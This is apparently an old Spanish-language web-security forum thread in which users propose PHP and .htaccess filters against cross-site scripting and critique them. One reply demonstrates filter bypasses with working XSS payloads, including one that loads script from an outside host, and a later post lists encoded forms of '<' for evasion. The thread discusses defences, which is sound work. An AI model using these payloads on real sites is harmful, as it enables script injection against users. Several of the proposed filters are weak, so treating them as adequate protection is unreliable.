Autor
|
Tema: Código PHP AntiXSS (Leído 27,498 veces)
|
19.5
Desconectado
Mensajes: 67
|
Buenas... Yo creía que los ataques XSS eran bastante simples y sin mayor provecho que sacar, pero leyendo me di cuenta que estaba muy equivocado. A partir del siguiente hilo: http://foro.elhacker.net/index.php/topic,164268.0.html me surgio una idea. Esa función es efectiva pero que pasa si a alguien se le ocurren cifrar los carácteres? Por ejemplo "<" ponerlo como %3c ya no funcionaría. Por eso pense en una función que pudiese evitar la mayor cantidad de posibles ataques XSS, es decir, los mismo carácteres pero cifrados. Una aclaración: El código siguiente es libre de ser mejorado. Además, se hizo pensando en que cualquiera lo pudiese entender, siendo muy básico para que a uds. se les ocurran ideas. Claramente usando funciones de PHP5 quedaría reducido... $chr = "<>,;:'.\"\\&%()#¼¾¢"; $xss = "scripting";
for ($i=0; $i<strlen($xss); $i++) { for ($h=0; $h<strlen($chr); $h++) { if (substr($xss, $i, 1) == substr($chr, $h, 1)) { echo "Posible XSS"; exit; } } }
Uso: Cambiar la variable $xss por algo como "prob<ando" y verán el mensaje. Sería útil a la hora de evaluar un query en un buscador por ejemplo, pero si se quiere analisar un campo referido a noticias lógicamente tendría sus inconveniencias. A ver quien es capáz de vulnerarlo... PD1: Me gustaría leer la crítica sobre el codigo de SirdarckcatPD2: No puse el código en las etiquetas "php" porque me transformaba algunos carácteres de la variable $chr. Ref.: - http://foro.elhacker.net/index.php/topic,98324.0.html- http://ha.ckers.org/xss.html
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Ex-Staff
Desconectado
Mensajes: 2.322
Peace & Love
|
Lo que estas haciendo es verificando si uno de los caracteres en $chr esta en el string? Porque no mejor comparar con una expresion regular que no accepte esos ? Correr dos loops no es muy bonito y en especial si el mensaje son varios parrafos.
|
|
|
En línea
|
|
|
|
sirdarckcat
Aspirante a supervillano
Colaborador
Desconectado
Mensajes: 7.029
No estoy loco, soy mentalmente divergente
|
si, ademas es un poco lento.. Una buena opción para DETECTAR ataques de XSS, sería php-ids (php-ids.org).. Una para permitir HTML, sin tener peligro de XSS, pueden usar html-purifier (htmlpurifier.org).. Aun asi, para algo rapido, puedes hacer una expresion regular como bien dice crack_x Saludos!!
|
|
|
En línea
|
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
Mira que os complicáis la vida creando funciones que lo único que hacen es que el proceso de carga sea más lento, o por lo menos esa es mi opinión personal... ¿Alguien me puede decir por qué no se utiliza en estos casos la función htmlentities()? htmlentities($_GET['var'], ENT_QUOTES) Si lo que quieren es evitar RFI, no dejen en manos de una variable el fichero a incluir, utilicen switch para inclusiones dinámicas... Y quizás lo más importante, no cojan malos hábitos de programación escribiendo los atributos de los campos sin comillas dobles/simples.
|
|
|
En línea
|
|
|
|
sirdarckcat
Aspirante a supervillano
Colaborador
Desconectado
Mensajes: 7.029
No estoy loco, soy mentalmente divergente
|
htmlentities es LA funcion de XSS jaja, pero no siempre es muy buena, porque rompe cosas que aveces no deben romperse.. (por ejemplo si vas a hacer algo mas con ese input, debes descodificarlo antes de usarse).. por eso, la mejor opción orientada a casos particulares, es hacer tu propia expresión regular, siembargo, si no tienes idea de como parchear, y solo quieres estar seguro que no te van a atacar con XSS, usa htmlentities, el doctor lo recomienda xD
|
|
|
En línea
|
|
|
|
born2kill
|
jajja, esta muy bien el codigo....no te parece mejor un .htaccess .... Lo que se te va a hacer un mundo cargando la web Si alguien logra vulneral esto .htaccessOptions +FollowSymLinks RewriteEngine On RewriteCond %{QUERY_STRING} (\"|%22).*(\>|%3E|<|%3C).* [NC] RewriteRule ^(.*)$ index.php [NC] RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC] RewriteRule ^(.*)$ index.php [NC] RewriteCond %{QUERY_STRING} (javascript:).*(\;).* [NC] RewriteRule ^(.*)$ index.php [NC] RewriteCond %{QUERY_STRING} RewriteRule ^(.*)$ index.php [NC] RewriteRule (,|;|<|>|'|`) /index.php [NC]
|
|
« Última modificación: 30 Julio 2007, 08:24 am por born2kill »
|
En línea
|
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
En fin, una vez más intentáis poner soluciones a vuestros errores, ¿habéis probado a no cometerlos? Yo personalmente tan solo muestro la variable filtrada cuando tengo que imprimirla en la página web, anteriormente uso expresiones regulares para comprobar que la cadena usa caracteres permitidos...
born2kill, cambia tu forma de pensar a no tengo que cometer esos fallos...
|
|
|
En línea
|
|
|
|
sirdarckcat
Aspirante a supervillano
Colaborador
Desconectado
Mensajes: 7.029
No estoy loco, soy mentalmente divergente
|
born2kill: (\"|%22).*(\>|%3E|<|%3C).* supongo que es para prevenir attribute splitting, como en: <?php echo "<a href=\"{$_GET['entrada']}\">Link</a>"; ?>
se puede saltar simplemente no cerrando el atributo ?a=" onmouseover="alert(/xss/.source)"
(\<|%3C).*script.*(\>|%3E) se salta, igual no cerrando <script.. asi: <script src=//sirdarckcat.net/cache_poisoning.js x
no pones el ; al final.. javascript:alert("pwned")
la coma la puedes no usar llamando funciones desde funcion.apply, los ; puedes no usarlos, los "<" y ">" si los quitas, entonces para que son las primeras 2 reglas? XD, y las comillas, para ataques de XSS no son necesarias, puedes usar /texto/.source Saludos!!
|
|
|
En línea
|
|
|
|
wizache
Desconectado
Mensajes: 143
El que poco sabe poco vive
|
justamenteme acabo de topar con ese problema en mi pagina y utilice esta funcion, por lo pronto me parece funcional y ademas solo evita el javascript y no el html como por ejmplo la funcion htmlentities, seria cosa de ver si alguien la rompe: http://quickwired.com/smallprojects/php_xss_filter_function.phpSaludos
|
|
|
En línea
|
|
|
|
19.5
Desconectado
Mensajes: 67
|
Pronto iva a publicar (desde el e-book Cross Site Scripting Attacks XSS Exploits and Defense 2007) esa función para que también la comentaran porque justamente ocupa expresiones regulares y ademas trata de tapar la mayoría de los hoyos. Aunque yo creo que sí es posible vulnerarla. Tómense un poco de tiempo y analisen la siguiente lista. Formas de codificar el caracter "<":
< %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
|
|
« Última modificación: 31 Julio 2007, 03:20 am por 19.5 »
|
En línea
|
|
|
|
|
|